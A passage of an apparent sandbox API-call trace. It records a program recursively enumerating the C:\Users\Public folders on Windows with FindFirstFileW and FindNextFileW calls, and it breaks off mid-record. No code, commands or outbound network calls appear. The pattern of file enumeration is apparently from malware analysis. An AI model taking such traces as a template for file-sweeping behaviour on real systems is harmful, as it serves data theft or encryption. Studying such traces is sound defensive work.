lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0125.456] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.456] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0125.456] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.456] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.456] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.457] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.457] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.457] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.457] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.457] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.457] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.457] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.457] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0125.457] GetLastError () returned 0x12 [0125.458] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.458] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.458] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.458] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.458] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.458] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.458] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.458] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28697d55, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28697d55, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x116, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.458] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0125.458] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0125.458] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0125.458] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3079b513, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3079b513, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3079b513, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 0 [0125.459] GetLastError () returned 0x12 [0125.459] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.459] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0125.459] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.459] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.459] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.459] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.459] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.460] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.460] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.460] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.460] GetLastError () returned 0x12 [0125.462] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.462] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.462] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.462] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.462] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.462] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.462] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0125.463] GetLastError () returned 0x12 [0125.463] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0125.463] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0125.463] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0125.463] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.463] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.463] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.464] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.464] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.464] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0125.464] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 0 [0125.464] GetLastError () returned 0x12 [0125.464] FindClose (in: hFindFile=0x6aa040 | out: hFindFile=0x6aa040) returned 1 [0125.464] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\*.*", lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName=".", cAlternateFileName="")) returned 0x6aa040 [0125.464] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f750 | out: lpLocalFileTime=0x18f750) returned 1 [0125.464] FileTimeToDosDateTime (in: lpFileTime=0x18f750, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.464] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="..", cAlternateFileName="")) returned 1 [0125.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.465] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.465] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28305c4e, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28305c4e, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288ad099, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x17c, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0125.465] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, ftLastAccessTime.dwHighDateTime=0x1d622f5, ftLastWriteTime.dwLowDateTime=0x5dc1a500, ftLastWriteTime.dwHighDateTime=0x1d622f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x75a54012, cFileName="Sample Music", cAlternateFileName="SAMPLE~1")) returned 1 [0125.465] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0125.465] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0125.465] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Music\\Sample Music\\*.*", lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x5dc1a500, 